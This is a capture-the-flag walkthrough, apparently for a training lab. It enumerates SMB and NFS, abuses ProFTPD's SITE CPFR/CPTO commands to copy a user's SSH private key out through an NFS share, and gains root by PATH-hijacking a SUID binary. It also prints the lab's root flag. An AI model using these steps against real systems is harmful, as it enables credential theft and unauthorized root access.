1. Initial Enumeratio
Nmap Service and Script Scan
nmap -sV -sC 10.10.177.254Port Discovery with RustScan
rustscan -a 10.10.177.2542. SMB Enumeration
Enumerate SMB shares and users:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.177.254Connect to the anonymous SMB share:
smbclient //10.10.177.254/anonymousDownload the exposed file:
get log.txtExit the SMB session:
exitReview the contents of log.txt for useful information.
3. NFS Enumeration
Enumerate NFS exports:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.177.254Display exported shares:
showmount -e 10.10.177.2544. FTP Service Analysis
Search for known vulnerabilities:
searchsploit ProFTPD 1.3.5Connect to the FTP service:
nc 10.10.177.254 21Use the ProFTPD file copy functionality to copy Kenobi’s SSH private key into an accessible location:
SITE CPFR /home/kenobi/.ssh/id_rsaSITE CPTO /var/tmp/id_rsa5. NFS Mount and SSH Key Retrieval
Mount the exported NFS share:
sudo mount 10.10.177.254:/var nfsNavigate to the temporary directory:
cd nfscd tmpCopy the retrieved private key:
cp id_rsa ~/Return and unmount the share:
cd ..cd ..sudo umount nfsSet correct permissions on the private key:
chmod 600 id_rsa6. User Access
Authenticate as Kenobi using the private key:
ssh -i id_rsa kenobi@10.10.177.254Retrieve the user flag:
cat user.txt7. Privilege Escalation Enumeration
Search for SUID binaries:
find / -perm -u=s -type f 2>/dev/nullA custom SUID binary is discovered:
/usr/bin/menu8. PATH Hijacking
Move to a writable directory:
cd /tmpCreate a malicious replacement for curl:
echo /bin/sh > curlchmod 777 curlModify the PATH variable:
export PATH=/tmp:$PATHExecute the vulnerable SUID binary:
/usr/bin/menuSelect option:
1The binary executes the attacker-controlled curl, resulting in a root shell.
9. Root Access
Verify privileges:
whoamiExpected output:
rootNavigate to the root directory:
cd /rootRetrieve the root flag:
cat root.txtRoot Flag
177b3cd8562289f37382721c28381f02Summary
- Performed service enumeration using Nmap and RustScan.
- Enumerated SMB shares and downloaded an exposed log file.
- Discovered NFS exports and accessible directories.
- Identified a vulnerable ProFTPD service.
- Copied Kenobi’s SSH private key into an NFS-accessible location.
- Mounted the NFS share and retrieved the private key.
- Logged in as user
kenobi. - Enumerated SUID binaries and identified a custom privileged program.
- Exploited a PATH hijacking vulnerability.
- Obtained root privileges and retrieved the root flag.